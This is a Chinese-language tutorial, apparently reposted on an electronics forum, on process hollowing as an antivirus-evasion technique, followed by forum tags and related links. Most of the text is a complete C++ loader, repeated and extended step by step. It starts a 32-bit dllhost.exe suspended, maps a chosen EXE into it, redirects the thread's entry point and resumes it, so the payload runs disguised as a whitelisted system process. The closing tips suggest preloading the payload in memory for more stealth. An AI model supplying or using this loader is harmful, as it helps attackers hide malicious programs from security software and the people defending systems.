1前言
目前的免殺技術,常規的進程執行很容易被受攻擊方發現,為了盡可能的隱藏自己,在不利用驅動或者漏洞的情況下我們有用到的技術很少,這次我們就來講一種可以在3環達到進程隱藏的方法,進程鏤空(傀儡進程)。
這種技術雖然很久之前就有了,但是和其他的免殺技術相結合會達到很不錯的效果。
這種技術的好處是可以將我們想執行的程序偽裝成系統進程或者有簽名無檢測的白名單進程,從而繞過殺軟的內存檢測。
2實現思路
如何去實現這個傀儡進程,我們就要知道進程創建后的步驟是在干什么,進程創建后會在內存空間進行拉伸PE,那么這一步就是我們達到偽裝的關鍵一步。如果我們將這一步拉伸的PE修改成我們自己的PE是不是拉伸的就是我們自己的程序,從而執行我們自己的程序。
3執行流程
創建一個掛起的進程
這里如果不是掛起狀態,程序就執行起來了,那么我們就沒有足夠的時間去替換他要執行的PE了。
獲取線程上下文
這里獲取上下文的主要目的是作用于修改寄存器,在我們后續的操作后要去修改。
替換PE信息
將我們上面的實現思路里最重要的一步在掛起進程后去執行,這樣進程還沒執行完成我們可以完成替換。
修改線程上下文
修改寄存器讓執行的內存發生改變,修改到我們替換的PE信息。讓程序自身的去解析我們替換的PE結構。
恢復線程
恢復線程,讓程序執行起來,完成我們的因此。
4實操順序
寫一個自己的程序 Demo.exe
#includeintmain(void) { MessageBoxA(nullptr, "我是一個demo程序", "信息:", MB_OK); return0; }
這就是一個很簡單的程序,我們來編譯執行一下。
可以明顯的看到這里有我們執行的程序進程信息,這樣我們就很容易被發現。那么下面我就就要去看怎么去隱藏掉這個進程了。步驟會很多我會分步驟去寫,讓大家可以跟著步驟去完成這一效果。
加載器實現流程
創建進程
創建一個系統進程或者白名單進程再或者你想要讓你的進程偽裝的進程,這里我們以32位進程去演示,我們去C:WindowsSysWOW64這個目錄下隨便去找一個進程即可,這里我就選擇dllhost.exe
這里我們在創建個項目去寫另外的代碼,demo程序就不要去改動了。
load 右鍵屬性 -> 配置屬性 -> 鏈接器 -> 系統 -> 子系統 改為窗口 不然后面會報0xC0000142錯誤 (這里可以寫完所有的代碼再去操作 窗口程序不利于我們去輸出信息)
#include#include //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ?? ??// 結束進程(調試的時候方便一下 可以不寫) ??TerminateProcess(pi.hProcess, -1); ??std::cout?<< "process exit!!!!!!!"?<< std::endl; ??std::cin.get(); ??return?0; }
這里我們就已經以掛起的方式去創建了一個進程,怎么樣去看我們的進程是否為掛起呢?我們任務管理器可以看到。
讀取我們需要真正執行的exe
#include#include #defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進程Debugdemo.exe)" //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ??// 打開文件 ??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); ??if?(hFile == INVALID_HANDLE_VALUE) ??{ ????// 打開失敗結束之前的進程 ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 獲取文件的大小 ??DWORD nSizeOfFile = GetFileSize(hFile, NULL); ??std::cout?<< "file size:"?<< nSizeOfFile << std::endl; ??// 申請內存保存Exe字節碼 ??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ??// 把文件讀取到我們申請的緩存區 ??DWORD read; ??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL)) ??{ ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 關閉文件 ??CloseHandle(hFile); ?? ??// 結束進程(調試的時候方便一下 可以不寫) ??TerminateProcess(pi.hProcess, -1); ??std::cout?<< "process exit!!!!!!!"?<< std::endl; ??std::cin.get(); ??return?0; }
可以看出來我們需要執行的exe已經被我們加載到我們內存當中。
替換PE
#include#include #include #defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進程Debugdemo.exe)" //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ??// 打開文件 ??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); ??if?(hFile == INVALID_HANDLE_VALUE) ??{ ????// 打開失敗結束之前的進程 ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 獲取文件的大小 ??DWORD nSizeOfFile = GetFileSize(hFile, NULL); ??std::cout?<< "file size:"?<< nSizeOfFile << std::endl; ??// 申請內存保存Exe字節碼 ??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ??// 把文件讀取到我們申請的緩存區 ??DWORD read; ??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL)) ??{ ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 關閉文件 ??CloseHandle(hFile); ??// 解析PE ??// 獲取dos頭 ??PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image; ??if?(dos->e_magic != IMAGE_DOS_SIGNATURE) // 判斷是否為MZ { TerminateProcess(pi.hProcess, 1); return1; } // 獲取nt頭 PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew); // 獲取線程上下文 CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx); // 獲取模塊基質 ULONG_PTR base; ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL); // 在默認基質下申請內存并且 設置屬性為讀寫執行 LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(!mem) { TerminateProcess(pi.hProcess, 1); return1; } // 替換PE頭 WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL); for(inti = 0; i < nt->FileHeader.NumberOfSections; i++) { // 獲取節表 寫入節表 PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL); } // 結束進程(調試的時候方便一下 可以不寫) TerminateProcess(pi.hProcess, -1); std::cout<< "process exit!!!!!!!"?<< std::endl; ??std::cin.get(); ??return?0; }
GetThreadContext是什么意思呢?獲取線程上下文,我們這時候用調試器附加一下dllhost看下我們獲取的是什么東西。主要獲取的就是目前的寄存器的值。后續我們需要讀寫這個值,從而達到執行我們自己的PE信息。
開始替換PE頭 我們可以注意一下寫入了什么。
這里是替換節區。
走到這里就說明我們的PE已經被完全替換了,那么我們需要給他替換一下寄存器才能讓他執行起來。
設置線程上下文,恢復線程
ebx+8的位置本身存放的是原來默認的PE,我們這里給他替換成我們申請內存的PE,然后恢復線程基本就完成了我們的隱藏。
#include#include #include #defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進程Debugdemo.exe)" //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ??// 打開文件 ??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); ??if?(hFile == INVALID_HANDLE_VALUE) ??{ ????// 打開失敗結束之前的進程 ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 獲取文件的大小 ??DWORD nSizeOfFile = GetFileSize(hFile, NULL); ??std::cout?<< "file size:"?<< nSizeOfFile << std::endl; ??// 申請內存保存Exe字節碼 ??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ??// 把文件讀取到我們申請的緩存區 ??DWORD read; ??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL)) ??{ ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 關閉文件 ??CloseHandle(hFile); ??// 解析PE ??// 獲取dos頭 ??PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image; ??if?(dos->e_magic != IMAGE_DOS_SIGNATURE) // 判斷是否為MZ { TerminateProcess(pi.hProcess, 1); return1; } // 獲取nt頭 PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew); // 獲取線程上下文 CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx); // 獲取模塊基質 ULONG_PTR base; ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL); // 在默認基質下申請內存并且 設置屬性為讀寫執行 LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(!mem) { TerminateProcess(pi.hProcess, 1); return1; } // 替換PE頭 WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL); for(inti = 0; i < nt->FileHeader.NumberOfSections; i++) { // 獲取節表 寫入節表 PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL); } // 修改寄存器 ctx.Eax = (SIZE_T)((LPBYTE)mem + nt->OptionalHeader.AddressOfEntryPoint); WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &nt->OptionalHeader.ImageBase, sizeof(PVOID), NULL); SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); WaitForSingleObject(pi.hProcess, -1); std::cout<< "進程隱藏執行完成"?<< std::endl; ?? ??// 結束進程(調試的時候方便一下 可以不寫) ??// TerminateProcess(pi.hProcess, -1); ??// std::cout << "process exit!!!!!!!" << std::endl; ??// std::cin.get(); ??return?0; }
修復執行錯誤
這里我們可以看到提示了錯誤框,我們修改下子系統。
intCALLBACKWinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, intnCmdShow ) 子系統改為窗口后 main函數需要改成WinMain
完畢
可以看到我們進程運行起來了,那么我們看看這個進程是什么。
從線程里面可以看出,我們是從這個dllhost里面去執行的我們的程序,那么我們看下是不是找不到我們原來的進程了。
可以看到這里已經確定沒有demo.exe,至此我們的隱藏進程實現完成。
5總結
隱藏的時候需要提前找到一個載體。
我們目前通過的是讀取文件獲取我們demo的exe,可以提前獲取好,放到我們的內存中,這樣更隱蔽。
需要注意main函數和winmain,main函數會報錯
-
內存
+關注
關注
8文章
3111瀏覽量
75030 -
程序
+關注
關注
117文章
3824瀏覽量
82504
原文標題:免殺技術進程隱藏
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
ekrn.exe進程是什么意思,如何解決ekrn.exe進程占空間的問題
迅雷7.2.7.3496下載(迅雷7增強版VIP離線免等待V2) v7.2.7.3496綠...
聯通免流量軟件有哪些?聯通免流量軟件?
國際聯網展現黑科技-雷霆技術攜三免技術參展
特洛伊木馬隱藏技術研究
木馬/后門程序在WINNT中進程隱藏和查找的方法
如何安裝 unhide 并搜索隱藏的進程和 TCP/UDP 端口
一行代碼教你如何隱藏Linux進程

什么是白加黑技術 免殺技術之白加黑攻擊防御技術分析

評論